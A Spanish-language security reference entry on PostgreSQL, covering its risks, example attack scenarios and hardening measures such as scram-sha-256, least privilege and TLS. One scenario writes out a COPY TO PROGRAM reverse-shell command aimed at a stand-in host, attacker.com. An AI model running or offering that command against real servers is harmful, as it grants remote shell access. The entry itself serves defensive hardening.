

PostgreSQL — Base de datos relacional avanzada

Servicio

PostgreSQL (Postgres)

Puerto por defecto

5432/TCP

Descripción

PostgreSQL es un sistema de gestión de bases de datos relacional y objeto-relacional de código abierto (ORDBMS) con más de 35 años de desarrollo activo. Conocido por su robustez, extensibilidad, soporte a ACID completo y conformidad con estándares SQL. Es ampliamente utilizado en aplicaciones empresariales, sistemas geoespaciales (PostGIS) y como backend de frameworks modernos. El servicio de base de datos escucha en el puerto 5432 y gestiona autenticación y autorización mediante su propio sistema de roles y el archivo `pg_hba.conf`.

Riesgos de seguridad

- **Acceso remoto no controlado:** PostgreSQL configurado para aceptar conexiones desde cualquier IP (`listen_addresses = '*'`) con reglas `pg_hba.conf` permisivas expone la base de datos a la red.
- **Permisos excesivos:** El rol `postgres` (superusuario por defecto) utilizado directamente por aplicaciones otorga acceso completo a todas las bases de datos y al sistema de archivos del servidor.
- **Autenticación trust en pg_hba.conf:** La configuración `trust` permite conexiones sin contraseña desde las IPs especificadas, un riesgo grave si está configurada ampliamente.
- **COPY TO/FROM PROGRAM:** Superusuarios pueden ejecutar comandos del sistema operativo directamente desde SQL mediante esta instrucción.
- **Inyección SQL:** Al igual que cualquier RDBMS, las aplicaciones que no parametrizan consultas son vulnerables a inyección SQL.
- **Versiones desactualizadas:** PostgreSQL tiene un ciclo de vida de 5 años por versión mayor; versiones EOL no reciben parches de seguridad.
- **Credenciales débiles:** Contraseñas triviales o por defecto para el usuario `postgres` son un vector de entrada común.
- **Extensiones no auditadas:** Extensiones de terceros instaladas en PostgreSQL pueden introducir vulnerabilidades o backdoors.

Escenarios de ataque

1. **Acceso directo con credenciales débiles:** El atacante encuentra el puerto 5432 accesible en

un servidor de staging con la contraseña del usuario `postgres` igual a `postgres`. Extrae todas las bases de datos de producción replicadas en el entorno.

2. **COPY FROM PROGRAM para RCE:** Un atacante con rol superusuario ejecuta `COPY (SELECT 1) TO PROGRAM 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'` para obtener una reverse shell con los permisos del proceso PostgreSQL.
3. **Inyección SQL en ORM mal configurado:** Una consulta con `raw()` en Django sin parametrizar permite al atacante ejecutar SQL arbitrario y exfiltrar datos de otras tablas.
4. **pg_hba.conf con trust en red interna:** La configuración `host all all 10.0.0.0/8 trust` permite a cualquier host de la red interna conectarse sin contraseña. Un atacante que compromete cualquier servidor de la red obtiene acceso completo a PostgreSQL.
5. **Enumeración de bases de datos:** Mediante `\list` o `SELECT datname FROM pg_database`, un atacante con acceso de solo lectura puede identificar otras bases de datos y planificar ataques de escalada de privilegios.

Mitigaciones recomendadas

- Configurar `listen_addresses = 'localhost'` en `postgresql.conf` a menos que se requieran conexiones remotas explícitas.
- Revisar y fortalecer `pg_hba.conf`: usar `md5` o preferiblemente `scram-sha-256` en lugar de `trust`; restringir por IP específica.
- Aplicar el **principio de mínimo privilegio**: crear roles específicos por aplicación con solo los permisos necesarios; nunca usar `postgres` en aplicaciones.
- Usar **contraseñas fuertes** para todos los roles de base de datos; almacenarlas en un gestor de secretos (Vault, AWS Secrets Manager).
- Habilitar **SSL para conexiones remotas** (`ssl = on` en `postgresql.conf` + certificado TLS).
- Deshabilitar extensiones no necesarias y auditar las instaladas.
- Implementar **Row-Level Security (RLS)** para aislar datos entre tenants en aplicaciones multi-inquilino.
- Monitorear `pg_stat_activity` y los logs de PostgreSQL para detectar consultas anómalas o conexiones no autorizadas.
- Mantener PostgreSQL dentro de su ciclo de soporte activo y aplicar parches de seguridad oportunamente.

Nivel de exposición

Alto (si el puerto está expuesto a redes no confiables o la autenticación es permisiva)

Referencias

- PostgreSQL Global Development Group. *PostgreSQL Security Documentation*.
<https://www.postgresql.org/docs/current/security.html>
- PostgreSQL Global Development Group. *Client Authentication (pg_hba.conf)*.
<https://www.postgresql.org/docs/current/client-authentication.html>
- CIS. *CIS PostgreSQL Benchmark*. <https://www.cisecurity.org/cis-benchmarks>
- OWASP. *SQL Injection Prevention Cheat Sheet*.
https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html